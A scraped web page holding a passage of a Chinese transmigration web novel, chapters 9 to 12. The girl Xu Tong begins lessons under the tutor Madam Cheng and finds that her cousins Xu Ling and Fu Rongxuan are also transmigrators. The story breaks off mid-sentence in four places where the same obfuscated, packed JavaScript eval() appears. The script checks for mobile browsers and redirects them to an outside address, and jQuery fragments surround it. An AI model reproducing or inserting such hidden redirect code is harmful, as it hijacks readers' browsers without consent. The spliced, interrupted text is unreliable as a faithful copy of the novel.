RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142870|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“她满口的胡话,还想着害老夫人和小姐呢——” “她说些什么胡话了?”许昤追问道,不知道怎么的,许曈似乎觉得许昤语气有些急切。 “都是些听不懂的胡话,”宝香本来还在生气,突然之间也跟着低落下来:“八小姐提她做什么……人已经去了,再提,难免有些伤感,何况她是中了邪,这事情,总是有些晦气。” 许昤回头看许曈:“妹妹也听不懂清歌姐姐口中的‘胡话’么?” 许曈愣了愣——为什么要问她?她想着众人对清歌眼下似乎有些“避而远之”,她要和清歌有什么牵扯也不好,因而低头道:“她满口胡言我也听不清她说了什么。” “也是,”许昤神情变得十分低落,看了许曈一眼:“我早觉着你不是了……听不懂也是正常的。” “不是什么?”这是许昤第二次提起“不是”这个话题了:“姐姐到底想要说什么啊。” “没事,”许昤神情恹恹:“不过你好了,倒也是好事一桩。” 她起身让抱琴和司棋帮她整理好衣物,向许曈告辞道:“妹妹身子才刚好,也不要太过劳神,练字读书这事情,要循序渐进才好——以后我每日过来教妹妹习字认字可好?” 许曈求之不得:“先谢过姐姐了。” “姐妹之间何须客气成这般,”许昤向她点点头:“既如此,那我明日再来吧。” 许曈始终觉得许昤的语气突然变得有些不太对劲,等着宝香把人送出去,再回来收拾笔墨纸砚的时候,忍不住问道:“宝香,昤姐姐是什么样的人?” “八小姐啊?”宝香想了想:“八小姐是个聪慧的人。” “嗯?”许曈有些赧颜——好像那个词跟她自己似乎是没有缘分的。 “她那样的出身,在公府那边尚能那般得宠,定是不简单的,小姐你看她身边的丫鬟们一个个都是对她十分听从丝毫不会因为她年幼便敢欺侮她便知道了,”宝香收拾好东西,看着许曈叹气:“我常在想,小姐你要是有八小姐一半的好处,清歌姐姐那样的事情也不至于发生。” 又提到清歌……许曈脸色有些垮,想到同为穿越者清歌的待遇……许曈更是不敢出错。 她想起了一件事:“对了,‘赵姨娘’是怎么回事?” “小姐!”宝香有些被吓着了:“小姐这话不要乱说出去!” “怎么了?”许曈不明白。 “三房上下,可没有哪一位姨娘是姓赵的,”宝香压低了声音:“姓赵的夫人倒是有一个,便是公府那边的大夫人,也即八小姐的嫡母——因是继室,本就有些忌讳这些,要是让她听见有人说她是姨娘,可不知会如何。” “哦。”许曈应了,想了想发现许昤本意说的应该是花姨娘,偏偏用了赵姨娘的字眼……这天底下姓赵的姨娘,她知道有一个很出名,红楼梦里探春的生母,想来许昤的意思是花姨娘和赵姨娘差不多吧? 想起许昤身边丫鬟们的名字,许曈点头——这许昤,可能是个红楼迷吧。 只是,这个时代,到底有没有红楼梦出现过呢? 想起许昤说的朝代的名字,许曈微微皱眉,所以她所在的时代是——架空的? 9. 009 慕名 许昤倒是遵守承诺,这几日每天都到许曈这里来报道,许曈旁敲侧击,倒是从她那里知道不少事情。 许旻自上次被叫去了之后,几天都没过来,据宝香说是被八爷关起来念书了。 她这身体的父亲名字叫许定,据说很年轻,她想想也是,古代人早婚,许旻才八岁,许定年纪应该不会大到哪里去,因为是长辈,许曈无法从许昤那里知道许定这人人品到底怎么样,不过看花姨娘等人的架势,以及许昤偶尔流露出的不怎么赞赏的表情,许曈想……许定这人,可能、也许、应该是为人不怎么样的吧? 不管怎样,也只是猜测而已,到现在为止,许曈还没见过许定,也没见过她名义上的母亲。 她正让宝香帮忙收拾好东西等许昤过来教她习字,听得外边有声音响起,素音笑道:“老夫人来了。”说着便迎出去。 许曈跟着起身,想要出去迎老夫人,老夫人却快一步走了进来,见她正要出去,笑道:“阿曈不用出来了,虽然入春,可是还是有些冷,身子骨再冻着了可怎么办。” 许曈沉默,她身子很好啊,无病无灾的,却也只是点了点头:“祖母。” 老夫人一眼见到案上的文房,轻轻巧巧地看了许曈一眼:“阿曈最近在练字啊。”说着看向宝香,似乎不怎么赞同,“阿曈刚好,这练字怪劳神的,你们怎的也不劝劝。”其实意思便是还是担心她突然发疯砸了东西吧? 许曈敏锐地察觉到了,有些低落:“祖母你也别怪她们,是我缠着哥哥教我的。” 宝香也跟着辩白道:“老夫人小姐最近可好着呢,每日里规规矩矩的练字,闲来的时候便认认字,看着倒是比以前清明了许多。” “也罢了,没……事儿便好,”老夫人摆摆手,因拉过许曈:“最近看了什么书?” 许曈才不敢说,只好做出羞涩的样子:“才跟着哥哥学了几个字,哥哥便不来教我了,还好跟着昤姐姐学着多认了几个字。” “听素音说最近许昤常到你这儿来?”老夫人点点头:“那倒是个好的,比你更早开蒙一些,常听到你大伯父跟我提起,说可惜她投错了女儿胎,要是男儿,可是大有前途。”她说着这些话的时候,沉思了一会,不知道在想些什么。 许曈不敢接话,许昤厉害,她是知道的,明明才比她大了几个月,可是却好像是无所不知的模样,许曈在她面前,常常生出自惭形秽之感——人比人,真的是能气死人的。 “对了,她今日可曾来?”老夫人看了案上那些东西一眼,又看了看许曈:“说起来,若不是阿曈你过去那情形,也该让你早些开蒙的。许昤是你大伯父亲自开蒙,至于你——”她突然顿住了。 许曈默然,也是,她那种情况,许定理都懒得理她,而且照着许昤那神情,许定估计也是个靠不住的——见老夫人神色有些郁郁,许曈想了想笑道:“等哥哥有空了,让哥哥多教教我也就罢了。” 老夫人叹气:“十一虽然聪慧,但是毕竟也还是小孩子,何况男子与女子的教学总有不同。” “二祖母,”许曈正不知怎么回话,许昤的声音在外边响起,跟着人进来规规矩矩地跟老夫人行了晚辈礼,笑道:“二祖母可是来看曈妹妹的?” 老夫人颔首,看了看许昤:“多亏你常来陪着阿曈解闷儿,改日我定要好好谢谢你。” “哪里的事,二祖母言重了,”许昤嘴上是这么说,眼睛却是亮了几分,随即依旧是恭谨道:“我跟曈妹妹是姐妹,又难得的同龄,自是该好好来往才是。” 老夫人点头,看向许曈:“十一近来没来瞧你,可想他?” “想的,”许曈倒是很喜欢许旻何况他对自己是真的好,连忙问起:“哥哥最近在做什么?” “十一倒是可怜见的,”老夫人笑着摸了摸她的头:“你们父亲这几日拘着他念书呢。”话是这么说,老夫人神色似乎是不太以为然的,想来,她那个“父亲”,读书应该也是不怎么的。 “是这样啊,我本来想着要去看看哥哥的,”许曈点头:“这样看来还是不要去打扰哥哥念书了。”何况万一遇见了许定怎么办?她可不觉得许定会跟她来一出父慈女孝的戏码——而且她也不想。 “十一那儿我倒是不担心,”老夫人看了许曈一眼,又看了看许昤,叹口气:“阿曈也的确到了开蒙的年纪了,再拖着,便晚了。” 她还是有些犹豫担忧的模样……许曈看在心里,知道她是担心自己“本性”难移,也不敢接话。 许昤却是笑了:“二祖母担心什么呢,我这几日看下来,曈妹妹可比以前大好。” “是吗?”老夫人神色稍霁,看向许昤:“你们今日可还是要练字?左右无事,我便陪着你们吧,许……阿昤你写个字儿来我瞧瞧罢。” 许昤笑着执起笔,在案边站好,看了老夫人一眼,小手儿抬起,落笔,不一会儿一个“寿”字便跃然纸上,她因笑笑:“过两个月便是二祖母寿辰了,阿昤这字儿,就提前献丑了。” “阿昤是个有心的,”老夫人笑:“那这心意,二祖母便收下了。说起来,阿昤的字是真的好——有你父亲的风韵。” “哪里,我才练多久的字,能学到父亲一分,便已经是十足了,”许昤笑着撒娇道:“二祖母你别夸我,再夸我,我可就乐上了天儿了。” 许曈沉默地看着许昤极其自然地和老夫人撒娇,想着这种事情果然是靠天分靠血缘的,她这半路子插入的人,可不敢跟老夫人这样说话,即使老夫人对她极好,她却总是记着自己其实并不是“许曈”。 “阿昤可不必谦虚,”老夫人还是笑:“你父亲最近也常在我身边夸你,我看你倒是担得起你父亲的夸赞。” 许昤眨眨眼:“父亲都跟二祖母说什么了?” 老夫人却避开她目光,转向许曈:“程夫子现在是你萱表姐的先生,我跟她求了个好,让你也跟着你两个表姐一道儿学些东西。” “阿昤也跟着一道儿来罢,”她看了许昤一眼,看似不经意地道:“让三儿那边的阿昀也跟着你们一道,姐妹之间也好有个照应。” 许昤眼睛发亮:“二祖母我真的可以和曈妹妹一起跟程夫子学习啊?” 老夫人点头:“那还有假。” 她看了看许曈,似乎还是有些不放心,转向许昤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142871|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语重心长道:“我们两家虽然分开过了,但是到底还是一家人,在外人面前,可不要忘了我们都是许家的人——阿曈那情形……阿昀又是一团孩子气,到了程夫子那里,还是要靠你照看她俩才是。” “我们彼此是姐妹,我自然会照顾好两个妹妹的,”许昤笑着点头:“请二祖母宽心。” 老夫人点点头,又嘱咐了一番,方才让素言扶着自己走了,许昤依旧是满脸放光,送走了老夫人在那里轻轻念叨着:“程夫子……果然宅斗的定律里跟着家里最年长的那个肯定有好处!” 许曈总觉得这句话哪里不太对劲:“宅斗?” 许昤连忙掩饰过去:“没事儿,曈妹妹你可曾见过许昀?” 许曈摇摇头,许昤却是不理她,径自期待道:“终于有机会见到传说中的傅容萱了!” “傅容萱?”许曈愣了愣:“萱表姐?” “是她,”许昤想了想,看向许曈:“曈妹妹还不知道傅家那边的情形吧?” 许曈点头——她也没途径知道啊。 许昤把她拉回来:“今日我们便不练字了,我来给你说说亲戚家的事情吧,以后经常要见到的话,不知道总归是有些失礼。” 许曈洗耳恭听。 许昤想了想:“先前跟你说过我们家与另外几家当初跟着太祖,后来晋封国公,那另外的五家是裴家、魏家、秦家、陆家和沈家,我们六家虽为勋贵,但毕竟底蕴较浅,比起谢家、杜家、傅家、徐家、苏家、严家、唐家这类前朝时便已经兴起的人家自然还是差了一些,这几家在朝中风评甚好,也算是名门,且他家几家与我们家不一样,他们是以子孙出仕为荣,历来不乏身居高位之人,比如先傅家老太爷也即二祖母的兄长曾官至中书舍人,只可惜六年前故去了。有表舅二人,大表舅如今官至四品右谏议大夫,二表舅从五品外放中眼下并不在京城。” “大表舅有二子二女,长子名讳容华,三表哥名讳容川,大表姐名唤傅容堇,已经许嫁,我们怕是也没甚机会见着她,能见到的,估计是二表姐傅容萱以及二表舅家的傅容芷,萱表姐比你我大两岁,芷表姐大我们一岁。二表舅出外任的时候带走了二表哥容白。” 许曈有些头大,许家的人她还没弄清楚呢,又来一个傅家,她揉着额头:“昤姐姐你记性可真好,我要有你那记性就好了——对了,先前你不是和我说起过时人以单名为贵吗,怎么傅家那边的名都是双字的。” 许昤因笑:“他那边取了双字,又有谁敢说他们不贵呢。” 许曈想想也是,点点头:“萱表姐很出名么?”怎么许昤一副十分想见她的模样? “你不会懂的,”许昤看了她一眼,轻叹道:“说起来萱表姐与你差不多,听三岁多的时候还不会说话,大夫都说她可能会不好,谁料到有一天她突然就好了,出口成章——想来这并不是巧合,我早想见见她和她确认一番了只是一直没什么机会。你我是不指望了,只能寄希望于她了。” 许曈沉默,她可以感觉到许昤对自己一直有种深深的失望,可是具体原因许昤没说,许曈是真不知道自己哪里做得不对才让许昤如此失落。 10. 010 相认 三月的天气,外边依旧有些轻寒,许曈第一次走出自己那方小小的院落,有种得见天日之感。 她努力表现得“正常”,终于得到可以放风的机会,终于能见到别的人终于有机会多了解一下自己所处的时代……简直是要热泪盈眶了。 这些日子以来,真的是要把她憋坏了。 虽然,她活动的范围只是从许家到傅家——旁的便再也没了。 马车到了傅家,从二门进去,这才停下,素音扶着许曈下了马车,许昀也由她的丫鬟抱下来,两人等许昤从她马车上下来,三姐妹这才随着带着她们来的贺氏一道向傅家两位舅母相互见礼。 傅家大舅母佟氏看着十分干练,二舅母洪氏却是温温婉婉的模样,二人似乎一早便在等她们,此刻见了她们倒是欣喜,只是不知道为什么,许曈觉得两位舅母特意打量了自己一眼。 好吧,她知道自己名声不好,估摸着亲戚里边也都知道的,不过许曈也不好有所表现,只与许昤、许昀规规矩矩地立在带着她们来的贺氏身后。 贺氏是许家三爷许宏的夫人,与两位舅母似乎多有来往,甚是熟络,三人说了会话,二舅母洪氏便抿着嘴笑了:“我们说这些她们小孩子听了也怪无趣的,嫂嫂你便先与三夫人聊着,我带三个孩子到容萱和容芷那里。” 佟氏点了点头,贺氏与佟氏似乎还有话要说,连忙谢过了。 洪氏因引着三人出了正屋,一路上细声问起三人年岁喜好,声音始终是温温和和的,倒并不让人生厌。 傅容萱和傅容芷的居处名叫枫香小院,如今正是春日,自是看不见枫叶如火的情形,她们进去的时候,里边的人似乎也正要出来,一个跟许曈许昤差不多大的小女孩朝着一间屋内轻声道:“二姐姐,你试了快一个时辰的衣服了,到底好了没有,让客人等着毕竟不好。” 许曈想,这应该便是傅容芷了,等洪氏上前唤过了她为她们几人相互介绍,果然是洪氏的女儿傅容芷没错。 “好了,”屋内一道清脆的声音想起,随即她们眼前的那扇门被打开,一个身着葱绿色袄裙的小女孩走出来,许曈不知为何在那一瞬间突然脑补了许多小说里女主角出场时的场景。 明明对方其实只是个小屁孩而已,模样还没彻底长开,可是许曈却似乎从她身上,看到了那种属于主角才有的容貌——忘了说了,许曈她是个死颜控,对于长得好看的,就是没什么抵抗力。 说起来,许曈一直觉得既然自己是穿越者,如果这是一本小说的话,按照小说的定律里来说她应该是主角才对,可是她穿过来之后那些事都算什么事啊,一个正常的女主角,会经历这种破事情么? 她有些懊恼,第一次发现其实自己没什么主角气场。 傅容萱站在她们面前,看着许家三姐妹,笑容明丽:“这是姑婆家的三位表妹是吧?” 洪氏连忙给她们五人相互引荐,今日不过是亲戚间的往来,让她们表姐妹互相熟悉一下而已,洪氏也不拘着她们,由着她们姐妹说话,自己告辞只留下一位妈妈随时候着。 五人很快分成了两拨,许曈、许昀和傅容芷在一旁说着一些无关痛痒的话,无非便是相互询问年岁喜好读过什么书之类的,许昤却是拉着傅容萱躲起来神神秘秘的不知道在说些什么。 过了会儿傅容萱便令自己身边的丫鬟过来请许曈过去说话,许昀因为年纪最小胆子也小,见着许曈也要走便也要跟着,那丫鬟却是笑笑地拦住了她:“二小姐说了,只请九小姐一人过去呢。” 许昀顿时好似一副将要被抛弃了快要哭了的模样,许曈见不得小孩子受委屈,连忙安慰她:“昀妹妹别怕,我去去就来。” 又转向傅容芷:“芷表姐——” 傅容芷连忙笑道:“放心,我会帮忙陪着她的——你快去吧,我那二姐可等不得人。” 许曈连忙点头,让那丫鬟带自己过去。 傅容萱为什么要找自己?许曈一路上想了很久,也始终是不得其法,只隐隐约约觉得,估计是许昤跟她说起了什么。 见了傅容萱,还没说上什么,傅容萱却是敛了神色:“竹雨,你们先出去,叫你们你们再进来。” 许曈眨眨眼,这是要做什么?正不知所措之间,傅容萱却已经拉过了她的手:“九妹妹你跟我说说清歌的事情吧。” 又是清歌?怎么傅容萱和许昤一样对清歌感兴趣?说起清歌,许曈毕竟还是有些心有余悸,思索了一会,觉得自己不应该在清歌的事情上透露太多:“我也不是很清楚清歌的事。” “也对,”傅容萱点点头,不过似乎并不打算放弃:“那当时你就在现场,你可记得清歌有什么不对劲的地方?” “不对劲的地方?”许曈打起精神,觉得傅容萱是在试探自己什么,清歌的事情于她而言也是一个禁区,许曈只好拣了宝香的话道:“听宝香说清歌家去了之后也还是不太好,满口胡话,叶总管和叶总管家的怕给府里招事儿,所以才会那般的。”她不肯说下去,想起清歌和自己同是穿越者落了这么个结局,难免有些物伤其类之感。 “那般是怎的?”傅容萱急切道:“她真的死了?” 许曈被她突然扬起的声调给吓了一跳,反应也慢了半拍加之心内发虚,连话也结结巴巴起来:“我不知道……听宝香她们的话……大概……是的。” “愚昧!无知!”傅容萱却是冷哼了一声,嗤之以鼻道:“真是迂腐得可以,没准人家本来可以大展拳脚成为一个大人物的,便生生被你们一句妖邪之言就给弄死了。” 许曈默然,不知道自己哪一句话说错了惹得她这般生气,也不知道怎么接话才好,还是许昤连忙安抚道:“算了,也怪她运气不好,落到清歌那样的人那样的身份地位不说,语言不通终究是个难题。” “说起来——”傅容萱看了许曈一眼似乎是见许曈被吓到了,连忙舒缓了语气:“小九身上发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142872|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事也挺奇特的——她真的不是?”说着看向许昤。 “真不是,”许昤叹气:“我试探过了,她就是偶然开了窍而已——再说了,哪有那么巧的事情,清歌和她离得那么近,已经有了一个清歌再来一个她的话那概率岂不是太高。” “概率?”许曈跟着许昤念起这个词——这个时代已经有概率这个词了吗?她想问出口,可惜自己身份比较敏感,她对这个世界又还只是一知半解的,不敢贸然问出口,怕引来祸端。说白了,她怕死,她怕自己重复了清歌的下场。 “这东西你不懂的,”傅容萱直截了当地打算敷衍她似的:“跟你说了你也不会明白的,这是时代的代沟——对了许昀和阿芷在说什么呢,我们也过去了吧。” 许曈感觉自己抓住了一个点,可是那个点稍纵即逝被傅容萱一打断便连不起来了,只好懵懵懂懂地跟着她们出去。 傅容萱一边走一边跟着许昤说笑道:“你我境遇相似,以后可以多多来往,互通有无。” “那是自然,”许昤也跟着笑:“我跟你能相见,肯定也是种缘分,用他们的话来说,就是‘一见如故’。” 许昤和傅容萱到底是什么关系呢? 她可以确信许昤这之前肯定没有见过傅容萱,虽然是亲戚,可是傅家与许家长房没什么来往,最多就是亲戚间偶尔听到过几句评价,但是不管怎么说,也不至于这样就令二人‘一见如故’,肯定还有什么东西是她忽略掉了的。 许昤通过关心许曈来讨好老夫人,不仅仅是为了拜在程夫子门下,也是为了傅容萱——只可惜许曈就是想不通她们两个人之间的关联。 还在走神,程夫子轻轻咳了一声,许曈连忙正襟危坐,这几天,她着实是被程夫子给吓着了。 有什么办法呢,她之前又没有琴棋书画的底子在,此时刚入门难免会有些难入手——而且她还不能拿自己年纪“小”当借口,因为只比她大几个月的许昤就已经足够将她秒得渣渣都不剩,更不用说再比她年长两岁的傅容萱了。 唯一值得庆幸的是,她还有许昀作伴。其实悲催的是,虽然许昀和她情况差不多,可是许昀懂的东西似乎比她多一些——毕竟许昀不像之前的许曈一样是个傻子,以及,贺氏作为嫡母,还算尽职尽责,多多少少还是教了许昀一些东西的。 何况就算年纪再小,好歹许昀也是这个时代原装的人,对这个时代的东西的接受力领悟力似乎也比许曈好很多,于是到最后,垫底的就只有许曈一个人了。 作为心智年龄长很多的许曈表示很羞愧,这几日便卯足了劲儿想要赶上,奈何……似乎天赋有限,这些东西天生跟她不搭调她也没办法。 因此她其实挺怕程夫子的。没办法,她从小就是那种成绩不上不下还特怕老师的中等学生,偶尔成绩好一下老师多看几眼就会受宠若惊,成绩差了别人多看一眼又会心惊胆战——而现在,她刚好是程夫子所有学生中最差劲的那一个。 11. 011 嫌弃 一开始许曈听到“程夫子”三字,还以为是个老头子,后来见到人才发现,原来是个女子。 据许昤所诉,这程夫子也是个传奇一般的人物。 程家也曾是官宦人家,但程家犯了谋逆之事,程家女眷被充作官婢,为了求活,程夫子自己带着妹妹,一道入宫做了宫女。 入宫之后,程夫子便跟在当时的皇后、后来的太后身边——那个人刚好就是许昤之前提过的许家曾祖所生的女儿——许曈许昤的姑祖母。 程夫子跟在太后身边,举止有度办事得力,曾经是宫中最年轻的尚侍,所有人都以为,她最后会成为宫中最高的女官,程夫子却出了宫。 本朝律例,宫女入宫十二年,或者年满二十五,可放出做良家子——程夫子一开始入宫,目的仅此而已。 若程夫子经历仅限于此,虽然难得,但也没什么好大书的,然而她的人生,这不过是刚刚开始而已。 如今许多不明真相的人认为,程夫子之所以出名,是因为她嫁了当时籍籍无名、如今却已然成为当世大儒的褚阳。 如今天下仕子皆以拜入褚阳门下为荣耀,然而鲜有人知道,褚阳之所以被人称为“褚先生”,与程夫子的扶持脱不了干系。 褚先生褚阳此人……虽的确是有真才实学,但为人刚正不愿折腰,树敌无数,虽然高中状元却未能出仕,曾经有一段时日,夫妻两人过得颇为艰难。 因着程夫子在宫中结的善缘,加之程家为出事前傅家便与程家有旧,当时的许傅氏,如今许曈的祖母便请了程夫子入府教导府中女儿们行事礼仪——当时许家尚未分家,所以三房的女儿都交给了程夫子教养。 一开始许老夫人此举只是想接济程夫子,然而后来随着许家的女儿各自出嫁——许家毕竟底蕴不足,偏偏因为种种缘故与各家联姻,然而许家的女儿礼仪教养才学无人可挑剔——程夫子自此成名,各家各府皆以能请到程夫子教导女儿为荣。 对于这个时代的女子来说,未出嫁前博得一个美名其实是可以增加他日许嫁时的附加值的,这一点许昤倒是没防备地跟许曈说了,许曈似懂非懂,大致的意思应该是入程夫子门下等于说自己的境界也跟着提升了一个档次,虽然许曈不明白为什么许昤小小年纪就开始担心嫁人的事情,但是也没工夫理会,她满脑子想的都是:她该不会砸了程夫子的招牌吧?如果是,程夫子可谓是“成也许家败亦许家”了。 其实程夫子收了她多多少少是看在许家看在老夫人的面子上,许曈十分清楚这一点,更是越发的小心,她又还没有熟悉自己所处的环境,更是怕一步错步步错,不敢出头,好在似乎她之前的“名声”太显,此刻笨些其他人也不觉得有什么——即使是这样,她最近还收到了不少赞美,大致是说她最近“娴静”了许多,她就姑且忽略掉别人说这词儿时打量的目光吧,应该是夸奖的……没错吧? “小九!” 许曈正胡思乱想,被身边的人推了推方才回过神来,此刻傅容萱正站在她跟前,一脸严肃地看着她。 许曈叹了口气,其实很不喜欢自己家族里的排序,然而遇到傅容萱之后,她坚持要给自己取个“小名”,许曈反抗无效,莫名其妙的,除了比她小的许昀老老实实唤她“姐姐”之外,傅容萱许昤傅容芷都跟着这么叫,甚至于傅家舅母乃至许家老夫人也这般唤她。 许曈对于傅容萱莫名其妙的“说服力”弄得无言以对,只能默认了这个称呼。 许曈四处看了一下,发现程夫子已经离开,想来是让她们歇息歇息,这才稍稍安心。 似乎是见她走神,傅容萱明显的不高兴了,扳正许曈的身子,居高临下地看着许曈:“小九我在和你说话呢。” 对上傅容萱的眼神,许曈不好意思地笑笑——说实话,她对于自己如今的身份,还是有些不大适应,难免反应慢了些。 其实反应慢点不是坏事——比如说当别人在说她坏话的时候,她当时没反应过来那是在说她,事后想起了生气了也没办法再杀回去反驳——她想,她最近“娴静”的“美名”别是因为这样来的吧? “我错了——”许曈连忙对上傅容萱的眼睛:“表姐别生气。” “我没生气,”傅容萱一脸“我不跟小孩子计较”的表情:“回过神来了,我要问你正事呢。” “什么事?”傅容萱难得有事找许曈,她大多数的时间都是跟许昤混在一起的,许曈、傅容芷在她们眼里似乎是跟小屁孩一般的存在平日懒得理会的,所以突然听到傅容萱问自己“正事”,许曈觉得怪异之后又开始觉得受宠若惊——许曈心内默默流泪:难道她其实是受虐体质? “再过半个月便是姑祖母的六十大寿,”傅容萱状似不经意眼睛却死死盯着许曈:“你可知道会请那些宾客?” “咦?”这事情的确是有够“正事”的,可惜……许曈似乎只好又让傅容萱失望了:“我不知道啊。”为什么会觉得是“又”?许曈继续走神去思索着严肃的问题了。 “这么大的事情你怎么不知?”傅容萱似乎是不太相信:“难道小国舅平日里就没跟你提起过吗?” 小国舅指的是许曈那个“生父”名唤许定——因为同胞的姐姐成了皇后,他被京中人戏称为“小国舅”——许曈面色有些难看:“父亲怎么会与我说这些。”她到现在,都没见过许定其人呢。 许昤连忙过来拉住傅容萱:“阿曈她想来是真的不知道这些事情的,她那情况你又不是不知道……” 傅容萱叹气,不再理会许曈转向许昤:“那你知不知道?” “我也不怎么清楚呢,”许昤摇摇头:“你也知道我们三房已经分了家,二房那边的事情我们不好管,再说我是女儿身,那种大事怎么可能让我知道,何况我那个母亲——”许昤突然顿住,不肯再往下说去。 许曈差点要把耳朵竖起来,难得她们二人不防备自己在自己跟前说着体己话,她倒是想听听她们到底有什么秘密。 “你说那个人会不会来?”许是见许昤神色不太好,傅容萱连忙转了话题,指了指上面:“宫中是不是也会有赏赐下来?” “这个真不太清楚,”许昤偏头想了一会:“不过这个时代以孝为先,想来我那个皇后姑姑也不会没有表示,她是出不来的,皇帝也不可能来——那个大表哥来的几率倒是挺大。” “这样的话,倒是要找机会见一见他,”傅容萱似乎有些懊恼:“这个破时代简直是让人无语透了,搞什么‘中表不婚’,我所认为的古代难道不是应该是亲上加亲才对吗?也不知道哪个不靠谱的前辈闹出来的,生生断了我们这些后来者的路!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142873|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许曈正拿了糕点塞嘴里,听到傅容萱说到“古代”愣了一下,听许昤继续道:“可不是么,就因为这中表不婚的规矩,就因为有个姑姑入宫当了皇后,就因为生下了太子,我们两家的姑娘就没有机会再入宫——虽然我对那些没兴趣,不过还是有些不爽。” 傅容萱跟着叹气:“不能入宫,我穿越到这里有什么意思啊。” 许曈本来一边咀嚼一边听她们说话,此刻突然听到“穿越”一词,她脑袋突然开了窍:她明白许昤和傅容萱为什么对她那么失望了—— 因为她们两个也是穿越者!而且都曾试探过她,但是因为她们没有直接说清楚所以许曈没有反应过来没有和她们相认,她们在找同伴! 许曈热泪盈眶——其实她也在找她们啊! “你们——”许曈后边的话没能说出来,她满脸通红,不是激动的——虽然激动的确是有那么一点点的,但现在最重要的是——她噎着了…… 傅容萱眼疾手快过来拍她后背,许昤已经帮忙倒了杯水候着,许曈被傅容萱一拍,那噎住的糕点终于不再堵住气管,许曈赶忙喝口水压气,然后十分痛彻的领悟到——她在她的“同类”面前再一次丢丑了。 好不容易顺了气,许曈倒是想清楚了,她必须要先弄清楚许昤口中的“穿越”是不是她以为的那样:“你们刚刚说穿越是怎么回事?古代是怎么回事?” 傅容萱和许昤对视一眼,看向许曈,笑眯眯道:“小九是被吓着了吧。” 许曈突然觉得好冷——难道她们是想……杀人灭口? “其实我——”许曈再次开口,这一次依旧是不能说出口,因为傅容萱拿了块糕点喂她,她所有的话因为突然塞进嘴里的东西变得呜呜哇哇了听不清楚。 傅容萱笑:“其实告诉你也没事的,但是小九你答应我要为我们保守秘密哦?”她笑容和煦,明显是在哄小孩。 许曈连忙点头。 傅容萱继续像喂小孩子吃东西一般喂她:“穿越的意思就是啊……其实我原本不是你萱表姐,她也不是你昤姐姐,我们本是另外的灵魂,误入了这个时空成为你所认识的我们而已——明白吗?” 许曈想说明白,但是嘴被塞住了,只好点头。 “小九真是乖,”傅容萱拍了怕许曈的头,不再往她嘴里塞东西,拍拍手拿起帕子擦干净了手,向着许曈笑得一脸纯良无害:“小九答应我们不要说出去的话。” 许曈点头,艰难地眼下嘴里的食物:“其实我——” “其实一开始我倒是怀疑过你是不是和我们一样是穿越者,”许昤在一旁幽幽地打断许曈的话,幽幽地看了她一眼:“不过后来就排除了你的嫌疑。” “为什么?”许曈不明白了。 “因为你太笨了,”傅容萱叹气:“穿越者很少有你这么笨的。” 被嫌弃了……许曈默然,突然之间,就不想和傅容萱还有许昤坦白说自己也是穿越者了,因为她自己也觉得挺丢脸的。 想了想,只好道:“所以我帮你们保守秘密,你们给我什么?” “我们会的可多了,”傅容萱笑容灿烂:“只要你不说出去,我们都可以教你!” 许曈想了想,和她们先打好关系也好,等她的进度赶上她们了,她再和她们坦陈好了:“好。” 12. 012 谢研 虽然程夫子只收了几个“学生”,但是到了如今她的名望地位,已经不必上门或者入府教学了,而是别人迁就她,换句话说,她不是“家教”,更像是补习班。 也不是针对许家和傅家,换了谁家的女儿,都一样,没有入户服务的说法。 许昤、许曈以及许昀三人每天的日常是从许家闺塾,学了之后再回许家,两点一线的日子,偏偏日程还排得紧紧的,原本以为穿越了至少就不用再上学了,谁知道换了个时空,也还是逃不了这悲催的命运。 许曈掐指一算,自从开始上学,她就再也没见到过许旻了。 每日出门又太早遇不到许旻,而回去之后发现许旻还要被许定关起来温书直到晚上,所以兄妹两人居然是一直都没有机会见面。 今儿早上出门的时候许旻让人给许曈传了话让她不急着回来,他要来接她——许曈便一天都在走神,觉得不好让许昀等自己,只好磕磕绊绊地和许昀商量让她先回去。 她们三姐妹出门都是一起的,但是许昀胆子小,与许曈更亲近些,听闻许曈要抛下她不由得便急了,还是许昤好说歹说才安抚住了。 等姐妹们都离开了,许曈才发现自己失策了——程夫子见她不急着走,便拉着她去“补习”——准确来说是借着考校她功课的理由名正言顺的拖堂了。 